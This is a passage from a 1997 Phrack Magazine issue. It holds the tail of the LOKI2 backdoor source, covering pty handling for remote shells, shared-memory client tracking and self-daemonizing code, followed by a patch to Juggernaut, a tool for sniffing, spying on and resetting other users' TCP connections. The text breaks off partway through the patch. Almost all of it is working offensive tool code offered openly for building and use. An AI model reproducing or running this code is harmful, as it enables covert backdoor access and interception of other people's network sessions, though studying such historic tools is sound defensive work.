* 1996/7 Guild Corporation Worldwide [daemon9]
|
|||
|
* All the PTY code ganked from Stevens.
|
|||
|
*/
|
|||
|
|
|||
|
#ifdef PTY
|
|||
|
#include "loki.h"
|
|||
|
|
|||
|
extern int verbose;
|
|||
|
|
|||
|
/*
|
|||
|
* Open a pty and establish it as the session leader with a
|
|||
|
* controlling terminal
|
|||
|
*/
|
|||
|
|
|||
|
pid_t pty_fork(int *fdmp, char *slavename, struct termios *slave_termios, struct winsize *slave_winsize)
|
|||
|
{
|
|||
|
|
|||
|
int fdm, fds;
|
|||
|
pid_t pid;
|
|||
|
char pts_name[20];
|
|||
|
|
|||
|
if ((fdm = ptym_open(pts_name)) < 0)
|
|||
|
err_exit(1, 0, verbose, "\nCannot open master pty\n");
|
|||
|
|
|||
|
if (slavename) strcpy(slavename, pts_name);
|
|||
|
|
|||
|
if ((pid = fork()) < 0) return (-1);
|
|||
|
|
|||
|
else if (!pid)
|
|||
|
{
|
|||
|
if (setsid() < 0)
|
|||
|
err_exit(1, 1, verbose, "\nCannot set session");
|
|||
|
|
|||
|
if ((fds = ptys_open(fdm, pts_name)) < 0)
|
|||
|
err_exit(1, 0, verbose, "\nCannot open slave pty\n");
|
|||
|
close(fdm);
|
|||
|
|
|||
|
#if defined(TIOCSCTTY) && !defined(CIBAUD)
|
|||
|
if (ioctl(fds, TIOCSCTTY,(char *)0) < 0)
|
|||
|
err_exit(1, 1, verbose, "\nioctl");
|
|||
|
#endif
|
|||
|
/* set termios/winsize */
|
|||
|
if (slave_termios) if (tcsetattr(fds,TCSANOW, (struct termios *)slave_termios) < 0) err_exit(1, 1, verbose, "\nCannot set termio");
|
|||
|
/* slave becomes stdin/stdout/stderr */
|
|||
|
if (slave_winsize) if (ioctl(fds, TIOCSWINSZ, slave_winsize) < 0)
|
|||
|
err_exit(1, 1, verbose, "\nioctl");
|
|||
|
if (dup2(fds, STDIN_FILENO) != STDIN_FILENO)
|
|||
|
err_exit(1, 0, verbose, "\ndup\n");
|
|||
|
if (dup2(fds, STDOUT_FILENO) != STDIN_FILENO)
|
|||
|
err_exit(1, 0, verbose, "\ndup\n");
|
|||
|
if (dup2(fds, STDERR_FILENO) != STDIN_FILENO)
|
|||
|
err_exit(1, 0, verbose, "\ndup\n");
|
|||
|
if (fds > STDERR_FILENO) close(fds);
|
|||
|
|
|||
|
return (0); /* return child */
|
|||
|
}
|
|||
|
|
|||
|
else
|
|||
|
{
|
|||
|
*fdmp = fdm; /* Return fd of master */
|
|||
|
return (pid); /* parent returns PID of child */
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Determine which psuedo terminals are available and try to open one
|
|||
|
*/
|
|||
|
|
|||
|
int ptym_open(char *pts_name)
|
|||
|
{
|
|||
|
|
|||
|
int fdm = 0; /* List of ptys to run through */
|
|||
|
char *p1 = "pqrstuvwxyzPQRST", *p2 = "0123456789abcdef";
|
|||
|
|
|||
|
strcpy(pts_name, "/dev/pty00"); /* pty device name template */
|
|||
|
|
|||
|
for (; *p1; p1++)
|
|||
|
{
|
|||
|
pts_name[8] = *p1;
|
|||
|
for (; *p2; p2++)
|
|||
|
{
|
|||
|
pts_name[9] = *p2;
|
|||
|
if ((fdm = open(pts_name, O_RDWR)) < 0)
|
|||
|
{
|
|||
|
/* device doesn't exist */
|
|||
|
if (errno == ENOENT) return (-1);
|
|||
|
else continue;
|
|||
|
}
|
|||
|
pts_name[5] = 't'; /* pty -> tty */
|
|||
|
return (fdm); /* master file descriptor */
|
|||
|
}
|
|||
|
}
|
|||
|
return (-1); /* control falls here if no pty
|
|||
|
* devices are available
|
|||
|
*/
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Open the slave device and set ownership and permissions
|
|||
|
*/
|
|||
|
|
|||
|
int ptys_open(int fdm, char *pts_name)
|
|||
|
{
|
|||
|
|
|||
|
struct group *gp;
|
|||
|
int gid = 0, fds = 0;
|
|||
|
|
|||
|
if ((gp = getgrnam("tty"))) gid = (gp -> gr_gid);
|
|||
|
else gid = -1; /* Group tty is not in the group file */
|
|||
|
|
|||
|
chown(pts_name, getuid(), gid); /* make it ours */
|
|||
|
/* set permissions -rw--w---- */
|
|||
|
chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);
|
|||
|
|
|||
|
if ((fds = open(pts_name, O_RDWR)) < 0)
|
|||
|
{
|
|||
|
close(fdm); /* Cannot open fds */
|
|||
|
return (-1);
|
|||
|
}
|
|||
|
return (fds);
|
|||
|
}
|
|||
|
|
|||
|
#endif
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<--> pty.c
|
|||
|
<++> L2/shm.c
|
|||
|
/*
|
|||
|
* LOKI2
|
|||
|
*
|
|||
|
* [ shm.c ]
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include "loki.h"
|
|||
|
#include "client_db.h"
|
|||
|
#include "shm.h"
|
|||
|
|
|||
|
extern struct loki rdg;
|
|||
|
extern int verbose;
|
|||
|
extern int destroy_shm;
|
|||
|
struct client_list *client = 0;
|
|||
|
int semid;
|
|||
|
|
|||
|
#ifdef STRONG_CRYPTO
|
|||
|
extern short ivec_salt;
|
|||
|
extern u_char user_key[BF_KEYSIZE];
|
|||
|
#endif
|
|||
|
|
|||
|
/*
|
|||
|
* Prepare shared memory and semaphore
|
|||
|
*/
|
|||
|
|
|||
|
void prep_shm()
|
|||
|
{
|
|||
|
|
|||
|
key_t shmkey = SHM_KEY + getpid(); /* shared memory key ID */
|
|||
|
key_t semkey = SEM_KEY + getpid(); /* semaphore key ID */
|
|||
|
int shmid, len = 0, i = 0;
|
|||
|
|
|||
|
len = sizeof(struct client_list) * MAX_CLIENT;
|
|||
|
|
|||
|
/* Request a shared memory segment */
|
|||
|
if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0)
|
|||
|
err_exit(1, 1, verbose, "[fatal] shared mem segment request error");
|
|||
|
|
|||
|
/* Get SET_SIZE semaphore to perform
|
|||
|
* shared memory locking with
|
|||
|
*/
|
|||
|
if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0)
|
|||
|
err_exit(1, 1, verbose, "[fatal] semaphore allocation error ");
|
|||
|
|
|||
|
/* Attach pointer to the shared memory
|
|||
|
* segment
|
|||
|
*/
|
|||
|
client = (struct client_list *) shmat(shmid, NULL, (int)NULL);
|
|||
|
/* clear the database */
|
|||
|
for (; i < MAX_CLIENT; i++) bzero(&client[i], sizeof(client[i]));
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Locks the semaphore so the caller can access the shared memory segment.
|
|||
|
* This is an atomic operation.
|
|||
|
*/
|
|||
|
|
|||
|
void locks()
|
|||
|
{
|
|||
|
|
|||
|
struct sembuf lock[2] =
|
|||
|
{
|
|||
|
{0, 0, 0},
|
|||
|
{0, 1, SEM_UNDO}
|
|||
|
};
|
|||
|
|
|||
|
if (semop(semid, &lock[0], 2) < 0)
|
|||
|
err_exit(1, 1, verbose, "[fatal] could not lock memory");
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Unlocks the semaphore so the caller can access the shared memory segment.
|
|||
|
* This is an atomic operation.
|
|||
|
*/
|
|||
|
|
|||
|
void ulocks()
|
|||
|
{
|
|||
|
|
|||
|
struct sembuf ulock[1] =
|
|||
|
{
|
|||
|
{ 0, -1, (IPC_NOWAIT | SEM_UNDO) }
|
|||
|
};
|
|||
|
|
|||
|
if (semop(semid, &ulock[0], 1) < 0)
|
|||
|
err_exit(1, 1, verbose, "[fatal] could not unlock memory");
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Release the shared memory segment.
|
|||
|
*/
|
|||
|
|
|||
|
void dump_shm()
|
|||
|
{
|
|||
|
|
|||
|
locks();
|
|||
|
if ((shmdt((u_char *)client)) == -1)
|
|||
|
err_exit(1, 1, verbose, "[fatal] shared mem segment detach error");
|
|||
|
|
|||
|
if (destroy_shm == OK)
|
|||
|
{
|
|||
|
if ((shmctl(semid, IPC_RMID, NULL)) == -1)
|
|||
|
err_exit(1, 1, verbose, "[fatal] cannot destroy shmid");
|
|||
|
|
|||
|
if ((semctl(semid, IPC_RMID, (int)NULL, NULL)) == -1)
|
|||
|
err_exit(1, 1, verbose, "[fatal] cannot destroy semaphore");
|
|||
|
}
|
|||
|
ulocks();
|
|||
|
}
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<--> shm.c
|
|||
|
<++> L2/shm.h
|
|||
|
/*
|
|||
|
* LOKI
|
|||
|
*
|
|||
|
* shm header file
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#define SHM_KEY 242 /* Shared memory key */
|
|||
|
#define SEM_KEY 424 /* Semaphore key */
|
|||
|
#define SHM_PRM S_IRUSR|S_IWUSR /* Shared Memory Permissions */
|
|||
|
#define SET_SIZE 1
|
|||
|
|
|||
|
void prep_shm(); /* prepare shared mem segment */
|
|||
|
void locks(); /* lock shared memory */
|
|||
|
void ulocks(); /* unlock shared memory */
|
|||
|
void dump_shm(); /* release shared memory */
|
|||
|
<--> shm.h
|
|||
|
<++> L2/surplus.c
|
|||
|
/*
|
|||
|
* LOKI2
|
|||
|
*
|
|||
|
* [ surplus.c ]
|
|||
|
*
|
|||
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include "loki.h"
|
|||
|
|
|||
|
extern int verbose;
|
|||
|
extern jmp_buf env;
|
|||
|
|
|||
|
#define WORKING_ROOT "/tmp" /* Sometimes we make mistakes.
|
|||
|
* Sometimes we execute commands we
|
|||
|
* didn't mean to. `rm -rf` is much
|
|||
|
* easier to palate from /tmp
|
|||
|
*/
|
|||
|
/*
|
|||
|
* Domain names / dotted-decimals --> network byte order.
|
|||
|
*/
|
|||
|
|
|||
|
u_long name_resolve(char *hostname)
|
|||
|
{
|
|||
|
|
|||
|
struct in_addr addr;
|
|||
|
struct hostent *hostEnt;
|
|||
|
/* name lookup failure */
|
|||
|
if ((addr.s_addr = inet_addr(hostname)) == -1)
|
|||
|
{
|
|||
|
if (!(hostEnt = gethostbyname(hostname)))
|
|||
|
err_exit(1, 1, verbose, "\n[fatal] name lookup failed");
|
|||
|
bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length);
|
|||
|
}
|
|||
|
return (addr.s_addr);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Network byte order --> dotted-decimals.
|
|||
|
*/
|
|||
|
|
|||
|
char *host_lookup(u_long in)
|
|||
|
{
|
|||
|
|
|||
|
char hostname[BUFSIZ] = {0};
|
|||
|
struct in_addr addr;
|
|||
|
|
|||
|
addr.s_addr = in;
|
|||
|
strcpy(hostname, inet_ntoa(addr));
|
|||
|
return (strdup(hostname));
|
|||
|
}
|
|||
|
|
|||
|
#ifdef X86FAST_CHECK
|
|||
|
|
|||
|
/*
|
|||
|
* Fast x86 based assembly implementation of the IP checksum routine.
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
u_short i_check(u_short *buff, int len)
|
|||
|
{
|
|||
|
|
|||
|
u_long sum = 0;
|
|||
|
if (len > 3)
|
|||
|
{
|
|||
|
__asm__("clc\n"
|
|||
|
"1:\t"
|
|||
|
"lodsl\n\t"
|
|||
|
"adcl %%eax, %%ebx\n\t"
|
|||
|
"loop 1b\n\t"
|
|||
|
"adcl $0, %%ebx\n\t"
|
|||
|
"movl %%ebx, %%eax\n\t"
|
|||
|
"shrl $16, %%eax\n\t"
|
|||
|
"addw %%ax, %%bx\n\t"
|
|||
|
"adcw $0, %%bx"
|
|||
|
: "=b" (sum) , "=S" (buff)
|
|||
|
: "0" (sum), "c" (len >> 2) ,"1" (buff)
|
|||
|
: "ax", "cx", "si", "bx");
|
|||
|
}
|
|||
|
if (len & 2)
|
|||
|
{
|
|||
|
__asm__("lodsw\n\t"
|
|||
|
"addw %%ax, %%bx\n\t"
|
|||
|
"adcw $0, %%bx"
|
|||
|
: "=b" (sum) , "=S" (buff)
|
|||
|
: "0" (sum), "c" (len >> 2) ,"1" (buff)
|
|||
|
: "ax", "cx", "si", "bx");
|
|||
|
}
|
|||
|
if (len & 2)
|
|||
|
{
|
|||
|
__asm__("lodsw\n\t"
|
|||
|
"addw %%ax, %%bx\n\t"
|
|||
|
"adcw $0, %%bx"
|
|||
|
: "=b" (sum), "=S" (buff)
|
|||
|
: "0" (sum), "1" (buff)
|
|||
|
: "bx", "ax", "si");
|
|||
|
}
|
|||
|
if (len & 1)
|
|||
|
{
|
|||
|
__asm__("lodsb\n\t"
|
|||
|
"movb $0, %%ah\n\t"
|
|||
|
"addw %%ax, %%bx\n\t"
|
|||
|
"adcw $0, %%bx"
|
|||
|
: "=b" (sum), "=S" (buff)
|
|||
|
: "0" (sum), "1" (buff)
|
|||
|
: "bx", "ax", "si");
|
|||
|
}
|
|||
|
if (len & 1)
|
|||
|
{
|
|||
|
__asm__("lodsb\n\t"
|
|||
|
"movb $0, %%ah\n\t"
|
|||
|
"addw %%ax, %%bx\n\t"
|
|||
|
"adcw $0, %%bx"
|
|||
|
: "=b" (sum), "=S" (buff)
|
|||
|
: "0" (sum), "1" (buff)
|
|||
|
: "bx", "ax", "si");
|
|||
|
}
|
|||
|
sum = ~sum;
|
|||
|
return (sum & 0xffff);
|
|||
|
}
|
|||
|
|
|||
|
#else
|
|||
|
|
|||
|
/*
|
|||
|
* Standard IP Family checksum routine.
|
|||
|
*/
|
|||
|
|
|||
|
u_short i_check(u_short *ptr, int nbytes)
|
|||
|
{
|
|||
|
|
|||
|
register long sum = 0;
|
|||
|
u_short oddbyte = 0;
|
|||
|
register u_short answer = 0;
|
|||
|
|
|||
|
while (nbytes > 1)
|
|||
|
{
|
|||
|
sum += *ptr++;
|
|||
|
nbytes -= 2;
|
|||
|
}
|
|||
|
if (nbytes == 1)
|
|||
|
{
|
|||
|
oddbyte = 0;
|
|||
|
*((u_char *)&oddbyte) =* (u_char *)ptr;
|
|||
|
sum += oddbyte;
|
|||
|
}
|
|||
|
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
|
|||
|
sum += (sum >> 16);
|
|||
|
answer = ~sum;
|
|||
|
return (answer);
|
|||
|
}
|
|||
|
|
|||
|
#endif /* X86FAST_CHECK */
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Generic exit with error function. If checkerrno is true, errno should
|
|||
|
* be looked at and we call perror, otherwise, just dump to stderr.
|
|||
|
* Additionally, we have the option of suppressing the error messages by
|
|||
|
* zeroing verbose.
|
|||
|
*/
|
|||
|
|
|||
|
void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr)
|
|||
|
{
|
|||
|
if (verbalkint)
|
|||
|
{
|
|||
|
if (checkerrno) perror(errstr);
|
|||
|
else fprintf(stderr, errstr);
|
|||
|
}
|
|||
|
clean_exit(exitstatus);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* SIGALRM signal handler. We reset the alarm timer and default signal
|
|||
|
* signal handler, then restore our stack frame from the point that
|
|||
|
* setjmp() was called.
|
|||
|
*/
|
|||
|
|
|||
|
void catch_timeout(int signo)
|
|||
|
{
|
|||
|
|
|||
|
alarm(0); /* reset alarm timer */
|
|||
|
|
|||
|
/* reset SIGALRM, our handler will
|
|||
|
* be again set after we longjmp()
|
|||
|
*/
|
|||
|
if (signal(SIGALRM, catch_timeout) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SIGALRM);
|
|||
|
/* restore environment */
|
|||
|
longjmp(env, 1);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Clean exit handler
|
|||
|
*/
|
|||
|
|
|||
|
void clean_exit(int status)
|
|||
|
{
|
|||
|
|
|||
|
extern int tsock;
|
|||
|
extern int ripsock;
|
|||
|
|
|||
|
close(ripsock);
|
|||
|
close(tsock);
|
|||
|
exit(status);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Keep child proccesses from zombiing on us
|
|||
|
*/
|
|||
|
|
|||
|
void reaper(int signo)
|
|||
|
{
|
|||
|
int sys = 0;
|
|||
|
|
|||
|
wait(&sys); /* get child's exit status */
|
|||
|
|
|||
|
/* re-establish signal handler */
|
|||
|
if (signal(SIGCHLD, reaper) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SIGCHLD);
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* Simple daemonizing procedure.
|
|||
|
*/
|
|||
|
|
|||
|
void shadow()
|
|||
|
{
|
|||
|
extern int errno;
|
|||
|
int fd = 0;
|
|||
|
|
|||
|
close(STDIN_FILENO); /* We no longer need STDIN */
|
|||
|
if (!verbose)
|
|||
|
{ /* Get rid of these also */
|
|||
|
close(STDOUT_FILENO);
|
|||
|
close(STDERR_FILENO);
|
|||
|
}
|
|||
|
/* Ignore read/write signals from/to
|
|||
|
* the controlling terminal.
|
|||
|
*/
|
|||
|
signal(SIGTTOU, SIG_IGN);
|
|||
|
signal(SIGTTIN, SIG_IGN);
|
|||
|
signal(SIGTSTP, SIG_IGN); /* Ignore suspend signal. */
|
|||
|
|
|||
|
switch (fork())
|
|||
|
{
|
|||
|
case 0: /* child continues */
|
|||
|
break;
|
|||
|
|
|||
|
default: /* parent exits */
|
|||
|
clean_exit(0);
|
|||
|
|
|||
|
case -1: /* fork error */
|
|||
|
err_exit(1, 1, verbose, "[fatal] Cannot go daemon");
|
|||
|
}
|
|||
|
/* Create a new session and set this
|
|||
|
* process to be the group leader.
|
|||
|
*/
|
|||
|
if (setsid() == -1)
|
|||
|
err_exit(1, 1, verbose, "[fatal] Cannot create session");
|
|||
|
/* Detach from controlling terminal */
|
|||
|
if ((fd = open("/dev/tty", O_RDWR)) >= 0)
|
|||
|
{
|
|||
|
if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1)
|
|||
|
err_exit(1, 1, verbose, "[fatal] cannot detach from controlling terminal");
|
|||
|
close(fd);
|
|||
|
}
|
|||
|
errno = 0;
|
|||
|
chdir(WORKING_ROOT); /* Working dir should be the root */
|
|||
|
umask(0); /* File creation mask should be 0 */
|
|||
|
}
|
|||
|
|
|||
|
#ifdef DEBUG
|
|||
|
|
|||
|
/*
|
|||
|
* Bulk of this function taken from Stevens APUE...
|
|||
|
* got this from Mooks (LTC)
|
|||
|
*/
|
|||
|
|
|||
|
void fd_status(int fd, int newline)
|
|||
|
{
|
|||
|
int accmode = 0, val = 0;
|
|||
|
|
|||
|
val = fcntl(fd, F_GETFL, 0);
|
|||
|
|
|||
|
#if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT)
|
|||
|
accmode = val & O_ACCMODE;
|
|||
|
#else /* pyramid */
|
|||
|
accmode = val; /* kludge */
|
|||
|
#endif /* pyramid */
|
|||
|
if (accmode == O_RDONLY) fprintf(stderr, " read only");
|
|||
|
else if (accmode == O_WRONLY) fprintf(stderr, " write only");
|
|||
|
else if (accmode == O_RDWR) fprintf(stderr, " read write");
|
|||
|
if (val & O_APPEND) fprintf(stderr, " append");
|
|||
|
if (val & O_NONBLOCK) fprintf(stderr, " nonblocking");
|
|||
|
else fprintf(stderr, " blocking");
|
|||
|
#if defined(O_SYNC)
|
|||
|
if (val & O_SYNC) fprintf(stderr, " sync writes");
|
|||
|
#else
|
|||
|
#if defined(O_FSYNC)
|
|||
|
if (val & O_FSYNC) fprintf(stderr, " sync writes");
|
|||
|
#endif /* O_FSYNC */
|
|||
|
#endif /* O_SYNC */
|
|||
|
if (newline) fprintf(stderr, "\r\n");
|
|||
|
}
|
|||
|
#endif /* DEBUG */
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<--> surplus.c
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 07 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Juggernaut 1.2 update
|
|||
|
|
|||
|
|
|||
|
--------[ route <route@infonexus.com>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Well, Juggernaut went out, and the bug reports came in...
|
|||
|
Juggernaut, the robust network tool for Linux, originally went out in Phrack
|
|||
|
50. This patchfile updates Juggernaut 1.0 (the version in P50-06) to version
|
|||
|
1.2. It offers the following:
|
|||
|
|
|||
|
- Nonfunctional things like nomenclature and cosmetics.
|
|||
|
- The IFF_PROMISC flag is unset upon exit. Previously the program would
|
|||
|
leave the network interface in promiscuous mode.
|
|||
|
- We no longer are interested in HTTP connections (unless -DGREED is
|
|||
|
defined).
|
|||
|
- Connection Spying now works properly.
|
|||
|
- Connection RSTing and Automated connection RSTing now work better.
|
|||
|
|
|||
|
|
|||
|
Please keep the bug reports coming in!
|
|||
|
|
|||
|
To extract this patchfile, use the included extraction utility to remove
|
|||
|
the patchfile from the article. Then simply copy it into the Juggernaut
|
|||
|
directory and `patch < juggernaut_1.0-1.2_patch`
|
|||
|
|
|||
|
<++> juggernaut_1.0-1.2_patch
|
|||
|
|
|||
|
--- NumberOneCrush/main.c Thu May 8 15:37:02 1997
|
|||
|
+++ NumberOneCrush/main.c Fri Jun 6 01:33:42 1997
|
|||
|
@@ -1,7 +1,7 @@
|
|||
|
/*
|
|||
|
*
|
|||
|
* Juggernaut
|
|||
|
- * Version b2
|
|||
|
+ * Version 1.2
|
|||
|
*
|
|||
|
* 1996/7 Guild productions
|
|||
|
* daemon9[guild|phrack|r00t]
|
|||
|
@@ -42,7 +42,7 @@
|
|||
|
#define DEVICE "eth0"
|
|||
|
#define LOGFILE "./juggernaut.log.spy"
|
|||
|
|
|||
|
-char version[]="1.0\0";
|
|||
|
+char version[]="1.2";
|
|||
|
int sigsentry=1; /* Signal sentry */
|
|||
|
int ripsock=0; /* RIP socket */
|
|||
|
int linksock=0; /* SOCK PACKET socket */
|
|||
|
@@ -96,8 +96,8 @@
|
|||
|
char buf[MINIBUF]={0};
|
|||
|
char token[2*MINIBUF]={0};
|
|||
|
int c;
|
|||
|
-
|
|||
|
- if(geteuid()||getuid()){ /* r00t? */
|
|||
|
+
|
|||
|
+ if(geteuid()||getuid()){ /* r00t? */
|
|||
|
fprintf(stderr,"UID or EUID of 0 needed...\n");
|
|||
|
exit(0);
|
|||
|
}
|
|||
|
@@ -279,7 +279,7 @@
|
|||
|
fgets(buf,sizeof(buf),stdin);
|
|||
|
if(buf[0]==0x0a||buf[0]=='q')return;
|
|||
|
if(!(int)(val=atoi(buf)))continue;
|
|||
|
- if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
|
|||
|
+ if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
|
|||
|
else break;
|
|||
|
}
|
|||
|
fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
|
|||
|
@@ -324,7 +324,7 @@
|
|||
|
fgets(buf,sizeof(buf),stdin);
|
|||
|
if(buf[0]==0x0a||buf[0]=='q')return;
|
|||
|
if(!(int)(val=atoi(buf)))continue;
|
|||
|
- if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
|
|||
|
+ if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
|
|||
|
else break;
|
|||
|
}
|
|||
|
signal(SIGINT,convulsion);
|
|||
|
@@ -440,7 +440,7 @@
|
|||
|
|
|||
|
fprintf(stderr,"Juggernaut %s route@infonexus.com [guild 1996/7]\n",version);
|
|||
|
|
|||
|
- fprintf(stderr,"\nJuggernaut compiled with the following options:\n");
|
|||
|
+ fprintf(stderr,"\nBuilt on %s %s with the following options:\n",__DATE__,__TIME__);
|
|||
|
#ifdef MULTI_P
|
|||
|
fprintf(stderr," Multi-processing\n");
|
|||
|
#endif
|
|||
|
@@ -501,7 +501,7 @@
|
|||
|
fgets(buf,sizeof(buf),stdin);
|
|||
|
if(buf[0]==0x0a||buf[0]=='q')return;
|
|||
|
if(!(int)(val=atoi(buf)))continue;
|
|||
|
- if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
|
|||
|
+ if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
|
|||
|
else break;
|
|||
|
}
|
|||
|
if(ntohs(target->dport)!=23){
|
|||
|
@@ -547,7 +547,7 @@
|
|||
|
fgets(buf,sizeof(buf),stdin);
|
|||
|
if(buf[0]==0x0a||buf[0]=='q')return;
|
|||
|
if(!(int)(val=atoi(buf)))continue;
|
|||
|
- if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
|
|||
|
+ if(!(target=checkc(val)))fprintf(stderr,"Connection not in database.\n");
|
|||
|
else break;
|
|||
|
}
|
|||
|
if(ntohs(target->dport)!=23){
|
|||
|
--- NumberOneCrush/mem.c Thu May 8 15:37:02 1997
|
|||
|
+++ NumberOneCrush/mem.c Fri Jun 6 01:33:09 1997
|
|||
|
@@ -1,7 +1,7 @@
|
|||
|
/*
|
|||
|
*
|
|||
|
* Juggernaut
|
|||
|
- * Version b1
|
|||
|
+ * Version 1.2
|
|||
|
*
|
|||
|
* 1996/7 Guild productions
|
|||
|
* daemon9[guild|phrack|r00t]
|
|||
|
--- NumberOneCrush/menu.c Thu May 8 15:37:02 1997
|
|||
|
+++ NumberOneCrush/menu.c Fri Jun 6 01:33:32 1997
|
|||
|
@@ -1,7 +1,7 @@
|
|||
|
/*
|
|||
|
*
|
|||
|
* Juggernaut
|
|||
|
- * Version b2
|
|||
|
+ * Version 1.2
|
|||
|
*
|
|||
|
* 1996/7 Guild productions
|
|||
|
* daemon9[guild|phrack|r00t]
|
|||
|
--- NumberOneCrush/net.c Thu May 8 15:37:02 1997
|
|||
|
+++ NumberOneCrush/net.c Fri Jun 6 01:32:56 1997
|
|||
|
@@ -1,7 +1,7 @@
|
|||
|
/*
|
|||
|
*
|
|||
|
* Juggernaut
|
|||
|
- * Version b1
|
|||
|
+ * Version 1.2
|
|||
|
*
|
|||
|
* 1996/7 Guild productions
|
|||
|
* daemon9[guild|phrack|r00t]
|
|||
|
@@ -92,13 +92,14 @@
|
|||
|
* mode.
|
|||
|
*/
|
|||
|
|
|||
|
-int tap(device)
|
|||
|
+int tap(device,mode)
|
|||
|
char *device;
|
|||
|
+int mode;
|
|||
|
{
|
|||
|
|
|||
|
int fd;
|
|||
|
struct ifreq ifr; /* Link-layer interface request structure */
|
|||
|
- /* Ethernet code for IP 0x800==ETH_P_IP */
|
|||
|
+ /* Ethernet code for IP 0x0800==ETH_P_IP */
|
|||
|
if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){
|
|||
|
if(verbosity)perror("(tap) SOCK_PACKET allocation problems [fatal]");
|
|||
|
exit(1);
|
|||
|
@@ -109,16 +110,22 @@
|
|||
|
close(fd);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
- ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */
|
|||
|
+ if(!mode)ifr.ifr_flags^=IFF_PROMISC; /* Unset promiscuous mode */
|
|||
|
+ else ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */
|
|||
|
if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ /* Set flags */
|
|||
|
- if(verbosity)perror("(tap) Can't set promiscuous mode [fatal]");
|
|||
|
+ if(verbosity)perror("(tap) Can't set/unset promiscuous mode [fatal]");
|
|||
|
close(fd);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
- return(fd);
|
|||
|
+ if(!mode){
|
|||
|
+ close(fd);
|
|||
|
+ return(0);
|
|||
|
+ }
|
|||
|
+ else return(fd);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
+
|
|||
|
/*
|
|||
|
* Gimme a raw-IP socket. Use of IP_HDRINCL is automatic with 2.0.x
|
|||
|
* kernels. Not sure about 1.2.x
|
|||
|
@@ -197,7 +204,6 @@
|
|||
|
case 22:
|
|||
|
case 23:
|
|||
|
case 25:
|
|||
|
- case 80:
|
|||
|
case 513:
|
|||
|
case 6667:
|
|||
|
if(((int)msg=addc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
|
|||
|
@@ -235,7 +241,6 @@
|
|||
|
case 22:
|
|||
|
case 23:
|
|||
|
case 25:
|
|||
|
- case 80:
|
|||
|
case 513:
|
|||
|
case 6667:
|
|||
|
if(((int)msg=delc(iphp,tcphp)))if(verbosity)fprintf(stderr,"%c%s",0x08,msg);
|
|||
|
@@ -261,7 +266,7 @@
|
|||
|
void dumpp(char *,int,FILE *);
|
|||
|
|
|||
|
extern int sigsentry;
|
|||
|
- int tlinksock=tap(DEVICE); /* Spying tap. XXX- Really dumb way to do this... */
|
|||
|
+ int tlinksock=tap(DEVICE,1); /* Spying tap. XXX- Really dumb way to do this... */
|
|||
|
time_t tp;
|
|||
|
|
|||
|
ALIGNNETPOINTERS();
|
|||
|
@@ -272,20 +277,14 @@
|
|||
|
time(&tp);
|
|||
|
fprintf(fp,": Log started:\t\t%s---------------------------------------------------------------------\n",ctime(&tp));
|
|||
|
}
|
|||
|
- /* NO alaram timeout here. SIGINT kills our spy session */
|
|||
|
- while(sigsentry)if(recv(tlinksock,&epack,sizeof(epack),0))if(iphp->protocol==IPPROTO_TCP)if(iphp->saddr==target->daddr&&tcphp->source==target->dport)dumpp(epack.payload-2,htons(iphp->tot_len)-sizeof(epack.ip)-sizeof(epack.tcp),fp);
|
|||
|
+ /* NO alarm timeout here. SIGINT kills our spy session */
|
|||
|
